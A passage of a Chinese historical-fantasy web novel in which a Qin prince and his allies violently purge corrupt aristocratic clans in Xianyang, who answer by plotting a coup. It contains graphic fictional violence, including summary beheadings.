密信展开的刹那,蒙恬瞳孔骤缩!
虎符冰冷的触感让他指尖一颤,而那份名单更如惊雷炸响——
中郎将王鄂、城门校尉李虔、禁宫督卫赵杜……
全是氏族安插的要职!
“这……”蒙恬喉结滚动。
他忽然想起六公子那双深不见底的眼睛。
萧何适时开口:“下官调阅旧案,发现关中二十六桩大案,背后皆有这些家族的黑手。”
他递上案卷:“廷尉府的人…扛不住。”
最后一句话说得极轻,却让蒙恬后背发凉。
他当然明白——
廷尉府那些文吏,怎敢动盘根错节的世家?
“蒙毅!”蒙恬突然喝道。
帐外立刻走进一名年轻将领,眉宇间与蒙恬有七分相似。
“你带三百锐士,随萧大人走一趟。”
蒙恬将虎符重重拍在弟弟手中:“记住,只认萧大人手令!”
萧何深深一揖:“将军深明大义。”
蒙恬却已披上战袍:“本将这就进宫。”
他深深看了眼萧何:“萧大人…保重。”
帐外暴雨如注。
蒙恬翻身上马时,突然回头:“六公子可还有别的交代?”
萧何从怀中取出一卷竹简:“殿下说,请将军将这个交给陛下。”
蒙恬接过,竹简轻得出奇。
他忍不住掀开一角,顿时倒吸凉气——
上面密密麻麻记录着各郡县造纸坊的产量,末尾还附着“科举首试筹备事宜”。
战马嘶鸣着冲向雨幕。
蒙恬握紧缰绳,脑海中不断闪过六公子那双如鹰隼般的眼睛。
他突然意识到,这位看似懒散的六公子,手段比长公子凌厉何止十倍?
而此刻的萧何已经登上马车。
蒙毅率领的三百铁骑在雨中静默如林,每人的铠甲下都藏着六公子府特制的防护符咒。
“出发。”萧何轻声道。
车帘落下时,他摸到了袖中另一份名单——
那是六公子亲笔所书,记录着所有涉案氏族子弟的藏身之处。
……
章台宫内,烛火突然熄灭。
始皇帝的身影隐没在黑暗中,唯有腰间定秦剑的寒光偶尔闪烁。
案几上的密报无风自动,竹简碰撞声如刀剑相击。
“陛下!”
蒙恬的声音在殿外响起。
“臣有急事——”
“进来。”
始皇帝的声音比夜色更冷。
蒙恬推门而入,铠甲上的雨水在青砖上洇开一片暗痕。
他刚要开口,却见始皇帝抬手一挥,案几上的密报自动展开——
正是黑冰台刚呈上的氏族调兵记录。
“陛下已经知道了?”
蒙恬心头一震。
“萧何去找你了?”
始皇帝不答反问,指尖轻叩着另一卷竹简。
蒙恬认出那是六公子的字迹。
“是。”
蒙恬单膝跪地。
“六公子查实关中二十六桩大案,皆与氏族有关,萧大人持殿下密信前来,臣已派蒙毅率兵协助拿人。”
黑暗中传来一声轻笑。
始皇帝的身影缓缓站起,玄色帝袍上的金线暗纹在月光下如活物游动:
“朕这个儿子…手段倒是利落。”
蒙恬感到一阵无形的威压。
他硬着头皮道:
“陛下,是否要即刻控制那些被替换的将领?”
“不必。”
始皇帝突然转身,冕旒下的双眸如炬:
“大秦以法立国,这些罪……还不够。”
蒙恬突然明白了什么,后背渗出冷汗!
他想起临行前萧何袖中若隐若现的另一份名单——
六公子分明是要放长线钓大鱼!
“蒙恬。”
始皇帝的声音突然逼近。
“你觉得科举如何?”
这突如其来的问题让蒙恬一怔。
他谨慎答道:
“若能推行,确是我大秦福泽。”
“福泽?”
始皇帝冷笑。
“是刮骨疗毒!”
他猛地拍案,案几上的竹简突然全部立起,组成一幅大秦疆域图:
“那些蛀虫,不是喜欢在阴沟里钻营
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吗?”
“朕就让他们……钻个够!”
蒙恬突然感到一阵心悸。
他此刻才真正看懂这对父子的棋局——
科举是阳谋,查案是诱饵,而真正的杀招……
“退下吧。”
始皇帝的声音恢复平静。
殿门关闭的刹那,蒙恬瞥见一道黑影从梁上掠过。
那是黑冰台最神秘的**。
而他手中的竹简突然变得重若千钧,因为上面新增了一行批复:
【既绝后患,便绝其路。】
【朕要他们…无处可逃。】
……
夜色如墨。
咸阳西城的一座豪奢府邸内,河东柳氏家主柳琨正搂着美妾饮酒作乐。
突然,大门被暴力踹开,铁甲碰撞声如雷炸响!
“柳琨!”萧何手持诏书踏入厅堂,身后跟着十名蒙家锐士。
“你涉嫌私吞军粮、强占民田,即刻收押!”
酒盏“啪”地摔碎在地。
柳琨一把推开美妾,醉眼朦胧地大笑:
“萧何?你算什么东西!我柳氏乃——”
“咔嚓!”铁链已经套上他的脖颈。
蒙毅一脚踹在他膝窝,这位平日作威作福的家主顿时跪倒在地!
“你们敢!”柳琨挣扎着怒吼,“我堂姐可是嫁入了陇西孟——”
萧何突然俯身,在他耳边轻声道:
“正因为你是孟氏姻亲,才第一个拿你开刀。”
说完猛地拽紧铁链。
“带走!”
……
同一时刻,城北徐氏别院。
七十岁的徐老太爷正在训斥孙子,突然被破门声打断。
“徐偃!”暗河**从阴影中浮现,“三年前关中军械丢失案,该结一结了。”
徐老太爷的龙头拐杖“当啷”落地。
他颤巍巍指着来人:
“你…你们可知我徐氏与卫氏…”
“知道。”**冷笑,“所以才请徐公去和卫铮作伴。”
寒光一闪,徐偃的冠带已被斩断——
这是重犯才有的待遇!!
……
城南、城东。
类似的场景在不断上演。
当黎明将至时,咸阳大牢已经塞进了十七个氏族的家主。
他们被特意关在相邻的牢房,咒骂声、哭嚎声此起彼伏。
“萧大人。”蒙毅擦着剑上的血渍,“接下来…”
萧何望向东方渐白的天色:
“等。”
他在等那些大鱼坐不住。
等他们慌乱中露出更多马脚。
第87章 你算什么东西?不过是一条狗!
孟府。
议事堂内。
一只青铜酒樽狠狠砸在墙上,琼浆顺着“忠义传家”的匾额往下淌。
“反了!都反了!”
孟邺的咆哮声震得窗棂嗡嗡作响,“连柳氏这等姻亲都敢动,他萧何算什么东西!”
卫铮攥着刚收到的密信,指节发白:
“我那小舅子徐偃,可是七十岁的老人啊!竟被扒了冠带押入大牢!”
南阳赵璋猛地掀翻案几:
“还等什么?现在就进宫!”
三川尉林阴着脸起身,腰间佩剑铿然出鞘半寸:
“同去!老夫倒要看看,陛下是不是真要为了几个贱民寒了功臣之心!!!”
……
半个时辰后,咸阳宫门前。
四位家主峨冠博带,手持玉笏跪在丹墀下。
赵璋的额头已经磕出血痕:
“臣等恳请陛下主持公道!”
朱红宫门纹丝不动。
只有一名小宦官战战兢兢出来传话:
“陛下口谕:朕近日染恙,诸卿且回。”
“染恙?”
孟邺突然发出一声凄厉的惨笑,“昨日还临朝听政,今日就染恙?!”
卫铮突然暴起,却被宫门两侧的黑甲卫士用长戟交叉拦住。
那寒光闪闪的戟尖上,还沾着未擦净的血迹——
分明是刚见过血的!
“好…好得很!”
尉林拽住几欲发狂的卫铮,老眼中闪烁着怨毒,“我们走。”
……
廷尉府。
地牢里,潮湿的空气中弥漫着血腥与腐朽的气息。
萧何端坐在审讯案前,指尖轻轻敲击着一份案卷,神色平静如水。
“柳琨,三年前关中军粮亏空一案,你可认罪?”
“呸!”
被铁链锁住的柳氏家主猛地啐了一口,唾沫星子溅在萧何的官袍上。
“我柳氏祖上随武安君征战赵国时,你萧家祖宗还在田里刨食呢!”
旁边的徐偃虽然白发散乱,却仍挺直腰板冷笑:
“区区一个刀笔吏,也配审问我们?”
萧何不急不恼,从袖中取出一卷竹简缓缓展开:
“柳氏私吞军粮三百石,致边关将士饿着肚子打仗;徐氏强占民田千亩,逼得七户农家投井。”
他抬眼看向二人:
“这些,可都是你们祖上教的?”
“放肆!”
柳琨突然暴起,铁链哗啦作响,“没有我们这些世家支撑,大秦能有今日?”
“你萧何不过是六公子养的一条狗!!!”
地牢的火把突然剧烈摇晃。
萧何慢条斯理地合上竹简,对身后的狱卒道:
“上刑。”
当烧红的烙铁逼近时,徐偃终于慌了:
“你敢!我侄女可是嫁入了卫氏!”
萧何突然笑了:
“正因为如此……”
他示意狱卒停下:
“才更要请徐公好好交代。”
说着,又从案几下取出一份崭新供词:
“比如,卫氏私炼的那些兵器,都藏在哪?”
柳琨的脸色瞬间惨白。
他这才注意到,萧何腰间挂着的不是廷尉府的令牌,而是一枚刻着“暗河”二字的黑玉。
“你……”
“嘘——”
萧何将蘸了朱砂的笔塞进他颤抖的手中。
“画押吧,还能留个全尸。”
“做梦!”
徐偃忽然暴吼,猛地挣断腕上的一截铁链,朝案前扑来。
“世家百年,岂能葬在你这走狗手上!”
萧何眼神不变,只轻轻抬了抬手指。
“动手。”
两名黑甲狱卒从阴影中跃出,瞬间将徐偃按倒在地,一记重棍砸下,骨裂声刺耳。
柳琨发出一声嘶吼,奋力扭动,满嘴鲜血地咆哮:
“你们敢动我们!咸阳百官不会放过你们!就算是六公子,也护不住你们这群刽子手!”
“咸阳百官?”萧何轻声一笑。
他站起身,走近二人,在血泊中蹲下,语气温和得近乎怜悯:
“如今不是你们能护着朝堂,而是朝堂……已不想护着你们。”
他说着,将那枚“暗河”黑玉摆在供词上:
“要么写下去,要么就让你们子孙,在咸阳街头一笔一笔替你们写。”
雷声再次炸响。
那是风暴的前奏,也是大清算的第一响。
恰逢此时!
地牢铁门突然被一脚踹开。
赢子夜手持定秦剑大步踏入,玄色长袍上还沾着未干的雨水。
剑锋划过青砖,迸溅出一串刺目的火星。
“殿、殿下!”
柳琨的狂傲瞬间凝固,铁链随着他颤抖的身躯哗啦作响。
赢子夜看都没看他一眼,直接将一叠染血的供词甩在案上:“证据确凿,还审什么?”
萧何刚要开口。
徐偃突然嘶吼:“六公子!我徐氏世代忠良——”
“唰!”
天子剑寒光一闪,徐偃的头颅已经滚落在地!
鲜血喷溅在柳琨脸上,吓得他瘫软如泥!
“忠良?”
赢子夜剑尖挑起地上的人头,“你也配忠良?”
柳琨裤裆瞬间湿透,腥臊的液体顺着铁链滴落。
他疯狂磕头:“殿下饶命!都是陇西孟氏指使!他们——”
“我知道。”
赢子夜冷笑着展开另一份密报,剑锋突然抵住柳琨咽喉。
“
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但你柳氏帮着转运军械,该杀不该杀?”
“该杀!该杀!”
柳琨突然癫狂大笑,“可你以为就我们几家?哈哈哈!朝中至少半数——”
剑光再闪!
笑声戛然而止。
赢子夜甩去剑上血珠,对呆立的狱卒喝道:“愣着干什么?按名单继续杀!”
地牢深处顿时响起此起彼伏的哀嚎。
有人痛哭求饶。
有人咒骂不休。
更有甚者扯着铁链咆哮:“赢子夜!你不得好死!”
回应他们的是一道道凛冽剑光!
只见赢子夜踏着满地鲜血走过长廊。
每个牢房前都稍作停留,确认罪证,挥剑,转身。
动作干净利落得令人胆寒。
当氏族子弟的人头落地时。
赢子夜将天子剑归鞘,对萧何淡淡道:“把这些首级装车,送去各大家族。”
……
孟府的议事厅内。
青铜灯盏的火光剧烈摇晃。
孟邺一掌拍碎案几,他们几个人如今就像是败家之犬。
“陛下这是要赶尽杀绝!”
他双目赤红,声音嘶哑如砂纸摩擦。
“连审都不审就纵容六公子拿人,这是要绝我们世家的根啊!”
南阳赵璋猛地拔出佩剑,寒光在厅内一闪。
“我赵氏为秦国立下汗马功劳,如今——”
“主人!主人!”
管家连滚带爬冲进来,额头磕出血都顾不上擦。
“六公子在廷尉府…在廷尉府大开杀戒!柳家主、徐老他们…全…全……”
管家气喘吁吁地说着,声音颤抖得厉害,额头上的汗珠顺着脸颊滑落,眼中满是惊恐与无助。
“全什么?!”
卫铮猛地一把揪住管家的衣领,双眼怒火中烧,声音如同雷霆炸响。
管家却再也支撑不住,身体软塌塌地瘫倒在地,喉咙哽咽着吐出那令所有人心惊肉跳的话。
“全砍了脑袋啊!”
他的声音像刀割一般刺痛众人心头。
“尸首都堆成山了!”
这句话像一颗**,在厅内炸开巨大的波澜!!
三川尉林手中握着的青铜爵猛然“咣当”一声坠地,响声震得屋梁微微颤抖。
他站在那里,脸色刷地一白,眼中充满难以置信的恐惧和愤怒。
过了好一会儿,才突然暴喝出声,声音中夹杂着震惊、愤怒,还有一种无法言说的恐慌。
“备车!去廷尉府!”
他的身躯微微颤抖,双手紧握拳头,似乎想要借此压制心头汹涌的怒火和惶恐。
众人面面相觑,空气中弥漫着一股冰冷的肃杀气息,仿佛下一刻便会掀起腥风血雨。
第88章 六公子,今日的梁子结下了!!!
暴雨初歇的街道上,四辆华贵马车横冲直撞。
孟邺掀开车帘,远远就看见廷尉府门前血迹未干,几个衣衫褴褛的世家子正被衙吏像拖死狗般拽出来。
“滚开!”
赵璋一脚踹翻拦路的侍卫。
“本侯乃先王亲封的——”
“让他们进来。”
廷尉府深处,传来了赢子夜冷冽的声音,如刀锋刮过众人脊背。
穿过幽暗长廊,浓重的血腥味扑面而来。
孟邺刚踏进内院就僵在原地——
青石地上横七竖八躺着十几具无头尸体,血水积成一个个小洼。
墙角缩着几个幸存的世家子,看到他们进来,顿时哭嚎着爬过来抱住大腿。
“六公子!”
卫铮目眦欲裂,腰间佩剑铿然出鞘。
“你竟敢——”
“唰!”
天子剑突然抵住他咽喉。
赢子夜不知何时已站在三步之外,玄色长袍纤尘不染,唯有剑尖一滴血缓缓滑落!!
“卫公是要谋反?”
赢子夜轻声问道,语气沉凝如渊。
尉林急忙按住卫铮,强压怒火道。
“殿下,这些可都是功臣之后……”
“功臣?”
赢子夜突然甩出一叠染血竹简。
“欺压百姓的功臣?盗卖军械的功臣?还是……”
他剑尖一挑,某具尸体腰间的令牌飞起。
“意图谋反的功臣?”
孟邺看到令牌上那熟悉的官印,脸色顿时惨白如纸!!!
“放人!”
赵璋突然暴起,却被暗处射来的**箭钉住袍角。
“我赵氏世代将门,先父为救陛下而死!你——”
“所以赵公更应该清楚。”
赢子夜慢条斯理地擦着剑。
“谋反,是什么罪?”
墙角突然传来撕心裂肺的哭喊。
众人回头,只见幸存的几个世家子被暗河**拖向刑场,其中一人死死扒着地砖,指甲都翻了起来。
“住手!”
卫铮终于崩溃,跪地哀求。
“六公子,求你……”
“嘘——”
赢子夜突然俯身,在他耳边轻声道。
“你们鱼肉百姓,中饱私囊的时候,怎么不住手?”
这句话让人心寒意冷。
四大族长同时僵住,无从反驳。
“放心。”
赢子夜转身时,天子剑在地上划出一道血线。
“本公子会给你们个体面的死法。”
他顿了顿。
“毕竟……”
远处突然传来整齐的铁甲声。
蒙恬的大军正在列阵,而廷尉府的刑场上,铡刀已经高高举起。
“……还要用你们的脑袋,给科举大典祭旗呢。”
说完,他冷眼看着那几个缩在角落的世家子,指尖轻敲剑柄。
“现已查证,徐氏私贩军械,斩!”
“不!”
徐偃的弟弟徐归猛地扑上前,“那是我独子啊!!!”
蒙家老卒已经手起刀落。
一颗年轻头颅滚到孟邺脚边,双目圆睁,似乎还不敢相信自己就这么**。
“栎阳匡氏,强占民田致七户灭门,斩。”
又一颗人头落地。
赵璋想去拦,却被两名黑甲卫士死死按住肩膀。
“六公子!”
尉林老泪纵横,“你当真要赶尽杀绝?!”
赢子夜恍若未闻,继续念道:“汾阴季氏,勾结墨家余孽……”
“够了!”
孟邺突然暴喝,花白胡须剧烈颤抖,“今日之辱,我孟氏记下了!”
最后一颗头颅滚落时,卫铮已经咬碎了后槽牙,满嘴是血:“好好好!好一个六公子!此事绝不会罢休!”
“本公子等着。”
赢子夜归剑入鞘,溅起一串血珠,“记住,若你们犯法……”
他忽然露出一个令人毛骨悚然的微笑。
“这些就是榜样。”
……
四大族长踉跄离去时,廷尉府的大门在他们身后重重关闭。
孟邺的玉冠不知何时歪斜,赵璋的锦袍沾满血污,卫铮的指甲深深掐进掌心,而尉林——
这位曾经在长平之战中冲锋陷
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阵的老将。
此刻佝偻着腰,仿佛一瞬间老了十岁!!!
街角处,少司命静静注视着他们离去的背影。
她指尖的金粉飘落,在血迹斑驳的地面上,拼成一张网。
而在廷尉府的高墙上,赢子夜负手而立,望着氏族们远去的马车。
他身后,萧何正在清点染血的罪证。
而更远处,蒙家的大军已经封锁了所有城中要道。
夜风骤起,吹散了浓重的血腥味。
赢子夜摩挲着腰间天子剑,剑穗上那枚玉坠,在月光下泛着诡异的光泽。
……
孟府。
密室中,青铜灯盏的火光将几张扭曲的面容映照得如同恶鬼。
孟邺气冲冲回来,一把掀翻案几,竹简哗啦啦散落一地。
“他这是要我们**啊!”
孟邺的声音嘶哑如砂纸摩擦,指着地上那滩未干的血迹——
那是他侄儿被送回来的头颅滴落的。
卫铮双目赤红,指节捏得咔咔作响。
“今日廷尉府之辱,不共戴天!!!”
“现在说这些有何用?”
赵璋猛地灌下一口烈酒。
“六公子什么都快知道了,我们还有多少时间?”
密室角落的阴影突然蠕动,卫琮缓步走出,铁甲上还带着夜露。
“三千死士已备妥,**车二十架,皆藏于废矿深处。”
尉林老眼精光一闪。
“咸阳城内能调动多少?”
“八百。”
卫琮压低声音。
“都是各府精锐死士,可在一刻钟内控制四门。”
孟邺突然剧烈咳嗽起来,帕子上沾满鲜血。
他盯着那抹猩红,狞笑道:“好…很好……”
猛地抬头。
“三日后子时,以火烧造纸坊为号,同时动手!!!”
“那六公子……”
赵璋犹豫道。
“我要亲手剐了他!”
卫铮拔出佩剑,狠狠劈向案几。
剑刃卡在木中,他却恍若未觉。
“先杀六公子,再逼陛下收回成命!”
第89章 今夜,逼宫!!!
章台宫内。
烛火摇曳。
风过时,殿中玄鸟焰影在墙上婆娑翻舞,如同伏尸**血色之夜的前奏。
始皇帝端坐玉案之后,指尖摩挲着一枚漆黑竹简,那是黑冰台的密送情报。
指甲轻敲简面,发出清冷的“哒哒”声。
其中“连斩十九人”四字被朱砂勾勒,宛如鲜血未干,在灯下泛出隐隐红光。
他嘴角微扬,声线低沉而森然:
“彩!”
随着话音落下,指尖轻叩玉案。
那案几竟似有共鸣,宫中悬挂的十二冕旒随之轻颤,无风自动,珠帘擦撞,发出如鬼哭神泣之音。
“杀得好。”
他的声音不高,却如千钧雷霆,回荡在空荡殿宇内,压得人心弦紧绷。
殿角侍立的宦者与禁军皆低头不敢言,唯有李斯执热酒前行,欲进不进。
终于走近,却在君王目光扫来一刻,躬身将酒停在半途。
“免了。”
始皇帝抬手,目光如炬,透出龙潜九渊般的深寒。
他起身,帝袍玄黑,金线织就九五神纹,缓步走向殿外。
宽大的衣袂拂过案前,带起一阵风,将堆叠如山的竹简吹得微响——
那每一卷,皆是列姓氏族、勋贵门阀、宗亲旧臣的罪证。
“陛下……”
李斯低声唤道,面色凝重,欲言又止。
“慌什么?”
始皇帝负手于后,走至玉阶之上,仰望皓月。
他声音平静,背影却如万钧神山压顶,让李斯心头陡紧,冷汗从鬓角滑下。
“钓鱼,总要舍得饵。”
帝王冷笑,似有一股睥睨天下的轻蔑。
月光如水洒落在他轮廓上,隐映眉间朱砂帝纹。
双目之中竟有一缕金芒流转,如神祇俯瞰苍生。
风卷帘开,玉阶之下已是重重禁军列阵。
盔甲森寒,肃杀如林。
众人齐齐跪下,恭候帝令。
始皇帝俯瞰而立,声音冷入骨髓:
“命人彻查‘燕山旧营’一系。”
“匡氏、季氏、徐氏、柳氏…凡有一丝私通者,鸡犬不留。”
“敢扰朕大统者。”
“杀。”
他的语气,仿佛在陈述一个事实,而非下达命令。
血与火的气息,仿佛已在风中酝酿。
月色之下,章台宫的金瓦映出一轮森寒光辉,映照出大秦帝王铁血不悔之道!!
那是一种让万世颤栗的霸气。
也是,一场天翻地覆的风暴前夜。
……
桑海城。
黄昏总是带着咸涩的海风。
庖丁解牛馆的后院里,盖聂倚着斑驳的墙壁,木剑在沙地上划出复杂的线条——
那是噬牙狱的机关草图。
端木蓉端着药碗经过时,脚步微微一顿。
“又做噩梦了?”
她看着盖聂眼下的青黑。
木剑突然停在一处节点。
盖聂抬头,眸中锋芒乍现:
“噬牙狱的休门方位,应该在这里。”
“啪嗒”一声,盗跖从屋檐翻下,嘴里叼着根草茎:
“儒家那群书呆子还是闭门不见?”
他灵巧地转着偷来的玉佩。
“我看伏念那老狐狸是怕了。”
高渐离抱着水寒剑从阴影走出:
“小圣贤庄的态度很明确,不参与,不告发。”
冰晶顺着剑鞘蔓延。
“倒是省了我们灭口的麻烦。”
“要我说直接杀进去!”
大铁锤抡着铁锤砸向地面,震得药碗里的汤药晃出几滴。
“救出弟兄们,跟暴秦拼了!”
端木蓉突然将药碗重重放在石桌上:
“拼?拿什么拼?”
她指着盖聂胸前的绷带。
“上次机关城**多少人,你忘了?”
院中一时寂静。
海风卷着沙粒,将地上的草图抹去一角。
“需要盟友。”
盖聂突然开口。
木剑在“噬牙狱”三字上画了个圈。
“农家、项氏一族、还有……”
剑尖顿在某个位置。
“被关在下面的那些人。”
盗跖眼睛一亮:
“听说噬牙狱最底层关着……”
“嘘——”
高渐离突然按住他的肩膀。
众人顺着他的目光看去,墙头一片衣角一闪而过。
端木蓉指尖银针寒光闪烁:
“儒家的探子?”
“不。”
盖聂收剑入鞘。
“是警告,他们怕受牵连。”
庖丁端着热气腾腾的烤山鸡推门而入:
“吃饭啦!”
他圆脸上挂着憨笑,眼睛却扫过院中每个角落。
“刚打听到,农家烈山堂的人最近在桑海出没。”
盗跖瞬间出现在桌边,顺手摸走一只鸡腿:
“田猛那老狐狸?他不是跟暴秦……”
“**。”
庖丁压低声音。
“现在是他女儿田言主事。”
油乎乎的手指在桌上画出农家关系图。
高渐离剑眉紧蹙。
盖聂突然起身,木剑指向桑海东面:
“明日子时,潮水最低。”
剑尖转向北方。
“神农堂朱家,可信。”
大铁锤挠头:“那儒家……”
“不必再试。”
端木蓉收起银针,“伏念的态度已经很清楚了。”
……
夜色渐深。
盗跖蹲在屋顶把玩着刚顺来的机关锁,那是从小圣贤庄摸来的玩意儿。
锁芯转动时发出细微的咔嗒声,像极了噬牙狱齿轮的响动。
“想什么呢?”
高渐离无声出现在他身后。
“我在想……”
盗跖突然将机关锁抛向半空。
“要是把噬牙狱的‘钥匙’偷出来……”
锁
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落下时,被水寒剑精准刺穿!
冰晶瞬间将其冻成冰坨。
“别玩火。”
高渐离的声音比剑还冷,“那里关着的,可不全是朋友。”
……
夜色如墨,暴雨将至。
骊山废矿深处。
三千死士静默如铁,唯有火把偶尔爆出火星,映照出一张张冷硬的面孔。
……
孟府。
密室内,青铜灯盏的火光摇曳,将几张扭曲的面容映照得如同恶鬼。
孟邺一掌拍在案几上,震得酒樽倾倒。
浑浊的酒液顺着竹简流淌,浸透了“咸阳城防图”几个字。
他花白的胡须因愤怒而颤抖,声音嘶哑如砂纸摩擦:
“今夜之后,再无退路!要么赢氏死,要么我们亡!”
卫铮双目赤红,指节捏得咔咔作响。
腰间佩剑嗡鸣不止,仿佛感应到主人的杀意:
“六公子……我要亲手剐了他!让他跪在我儿灵前谢罪!”
他的嗓音低沉如闷雷,每一个字都像是从牙缝里挤出来的。
南阳赵璋冷笑一声,指尖摩挲着剑柄上的家徽:
“控制城门,断他援兵!”
“骊山大营若敢动,老子让他们有来无回!”
他猛地灌下一口烈酒。
酒液顺着胡须滴落,眼中尽是癫狂。
三川尉林眯起浑浊的老眼,缓缓展开一卷帛书,上面密密麻麻标注着咸阳各处的**:
“宫门值守卫尉已换了我的人,子时一到,直入章台!”
“陛下若识相,便收回成命;若不然——”
他冷哼一声。
未竟之言裹挟着森然杀意。
“哼,说得轻巧!”
卫琮从阴影中走出,铁甲寒光凛冽,语气冷硬如刀:
“你们都忘了,六公子府有强者隐居,贸然强攻,只会折损人手。”
他目光扫过众人,指尖轻敲案几:
“由我带精锐潜入,先杀赢子夜,再逼宫!”
孟邺猛地抬头,老眼中精光闪烁:
“不!”
“赢子夜必须活捉!”
“当着陛下的面,让他亲口承认科举之罪!”
“否则,我们便是谋逆!”
“谋逆?!”
赵璋狞笑,一把扯开衣襟,露出胸前狰狞箭伤:
“老子为秦国立下汗马功劳,如今连子孙的荫庇都保不住,还怕一个‘逆’字?!”
尉林缓缓起身,枯瘦的手指按在城防图上,声音低沉如鬼魅:
“记住,子时火起为号!”
“城门、六公子府、章台宫——三路并进!”
“若败……”
他环视众人,一字一顿:
“便玉石俱焚!!!”
密室内骤然死寂。
唯有灯芯爆裂的噼啪声回荡。
卫铮缓缓抽出佩剑,寒光映照着他狰狞的面容:
“此剑,必饮赢氏之血!”
第90章 今夜,便让那关中氏族除名吧!!!
十八公子府内。
烛火幽幽,映得胡亥那张精致的脸半明半暗。
他斜倚在软榻上,指尖轻轻拨弄着一枚青铜蜘蛛,嘴角噙着一抹若有若无的笑意,眼底却冷得像淬了毒。
“老师。”
他忽然开口,嗓音甜腻如蜜,却让人脊背生寒。
阴影处,赵高无声无息地浮现,苍白的面容上挂着谄媚的笑,眼底却深不可测:
“公子有何吩咐?”
胡亥将蜘蛛轻轻一抛,又稳稳接住,笑意愈发浓烈:
“那群老东西,终于舍得拼命了?”
赵高微微躬身,声音压得极低:
“孟氏、卫氏已调集死士,今夜便要动手。”
“呵……”
胡亥轻笑,眼中闪过一丝讥讽:
“一群蠢货,真以为凭他们那点本事,能撼动六哥?”
他忽然坐直身子,眸中寒光乍现:
“不过,正合我意。”
赵高会意,低声道:“公子的意思是……”
“罗网,也该动一动了。”
胡亥把玩着蜘蛛,语气轻描淡写,却字字如刀:
“二十名天字二等,三十名地字,今夜潜入六哥府上。”
赵高眉头微不可察地一皱:
“公子,六公子府上那位……”
“正因如此,才要试探。”
胡亥打断他,笑容愈发天真无邪:
“如今整个咸阳都知道他府上有强者隐居,可谁见过?是真是假,总得试试。”
他指尖一弹,蜘蛛“咔”地裂成两半:
“若是真的,便让罗网的人死干净;若是假的……”
他眯起眼:
“那六哥的人头,本公子就笑纳了。”
赵高低头,掩饰眼中的阴冷:“老奴明白了。”
“记住——”
胡亥忽然倾身,甜腻的嗓音骤然转冷:
“抹掉所有记号,他们的身份,一个都不能留。”
他指尖轻轻划过赵高的衣襟,似笑非笑:
“若让人抓到半点把柄……”
赵高脊背一僵,随即深深躬身:“老奴亲自安排,绝不会留下痕迹。”
胡亥满意地靠回软榻,笑意重新爬上眼角:
“去吧,让他们好好闹一场。”
他望着窗外的夜色,轻声呢喃:
“六哥啊六哥,你可千万别让我失望……”
烛火摇曳,映得他半边脸隐入黑暗,唯有一双眸子亮得骇人,仿佛蛰伏的毒蛇,终于等到了猎物松懈的刹那。
……
章台宫高阁之上,夜风猎猎。
始皇帝负手而立,玄色帝袍翻飞如墨,十二冕旒垂下的玉珠纹丝不动。
他俯瞰着咸阳城的万家灯火,眸光深沉似渊,仿佛能洞穿这沉沉夜幕下涌动的暗流。
一道黑影如鬼魅般浮现,黑冰台**单膝跪地,铁面覆脸,声音沙哑如砾石相磨。
“陛下,孟氏死士已至骊山废矿,卫氏锐卒暗伏东市,三更火起为号。”
始皇帝未语,修长的手指在玉栏上轻轻一叩,声若金玉相击。
话音刚落,帝王广袖忽扬,截断余音。
**立即噤声,宛若一缕黑烟消散在檐角阴影中。
月光流淌在定秦剑鞘上,映出龙纹暗芒。
始皇帝唇角微不可察地扬起,眼底似有星火明灭。
他凝视着六公子府的方向,袍袖间的竹简露出一角——
正是赢子夜那日呈上的《科举推行疏》。
夜风卷过简上朱批,那抹殷红在月色下妖异如血。
阁外更漏滴答,子时将近。
——子夜,你会如何应对?
……
夜色如墨。
赢子夜立于庭前,指尖捻着一片飘落的梧桐叶,叶片边缘泛着冷光,如同他此刻微眯的眸子。
“六殿下。”
阴影处,一名逆流沙刺客单膝跪地,双手奉上一枚染血的竹筒。
“桑海密报。”
赢子夜接过,指腹摩挲过竹筒上暗刻的纹路,唇角勾起一抹冷笑。
他指尖轻挑,竹筒应声而开,薄如蝉翼的绢布上,墨迹如血:“墨家余孽勾结农家、项氏,准备攻噬牙狱。”
“呵……”
一声轻笑在夜色中荡开。
赢子夜指尖燃起一缕幽蓝火焰,绢布顷刻化作飞灰。
他抬眸望向南方,仿佛穿透重重夜幕看见那片波涛汹涌的海。
“噬牙狱若破,那些六国的魑魅魍魉,怕是都要爬出来了。”
梧桐叶在指间碎成齑粉,随风飘散。
“告诉卫先生。”
他声音很轻,却让跪地的**脊背发寒,“盯死桑海,我要知道是哪些人……在找死。”
**领命退去,忽又一道黑影掠过院墙。
赵戈苍如鬼魅般现身,铁面覆脸,声音嘶哑:“主上,氏族异动,子时火起为号。”
赢子夜缓缓转身,玄色衣袍在月光下泛着冷光。
他望向廷尉府方向,那里还残留着昨日的血腥气。
“好,很好。”
他轻笑出声,眸中却无半分温度,“既然他们急着去陪徐偃……”
指尖轻叩腰间天子剑,剑鞘中传来一声龙吟般的嗡鸣。
夜风骤起,吹散他额前碎发,露出那双如深渊般的眼睛。
“那今夜,便让这些所谓的百年世家……”
他抬步走向内室,衣袂翻飞间,一片梧桐叶飘落在地,被靴底碾入尘土。
“除名!!”
庭中重归寂静,唯有月光冷冷洒落,照在那片碎叶上,仿佛在为即将到来的杀戮默哀。
……
夜风呜咽,咸阳城头旌旗猎猎。
卫琮一袭铁甲,腰悬利刃,领着三百死士逼近东城门。
他眼中闪烁着疯狂的光芒
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,仿佛已经看到城门洞开后,三千锐卒长驱直入的景象。
“动作快点!”
他压低声音喝道,
“拿下城门,放信号!”
死士们如鬼魅般摸向城楼。
忽然——
“轰!”
一道火把骤然亮起,映照出城墙上密密麻麻的玄甲身影。
蒙恬负手而立,黄金火骑兵的铠甲在火光中泛着森冷光泽。
“卫家主,深夜造访,所为何事?”
蒙恬的声音平静得可怕。
卫琮瞳孔骤缩,握剑的手青筋暴起:
“你…你怎么会……”
“本将在此恭候多时了。”
蒙恬缓缓抬手。
刹那间,城墙上弓弦齐鸣,箭雨如瀑!!
“举盾!”
卫琮嘶吼着后退,却见第一波箭矢竟全是火箭,瞬间点燃了死士们脚下的火油。
惨叫声中,数十人化作火球。
“压。”
蒙恬一声令下,城门轰然洞开。
铁蹄震地,黄金火骑兵如洪流般涌出,长矛平举,寒光刺目!
卫琮仓皇举剑格挡,却被一矛挑飞兵器。
他踉跄后退,看着自己的死士在铁蹄下血肉横飞。
一名骑兵纵马而过,陌刀横扫,三颗头颅冲天而起,血溅城墙。
“不…不可能……”
卫琮跪倒在地,看着满地残肢断臂。
蒙恬缓步走来,战靴踩在血泊中,溅起暗红的水花。
“骊山废矿的三千人,很快也会伏诛。”
蒙恬俯视着他,
“你以为陛下会不知道?”
……
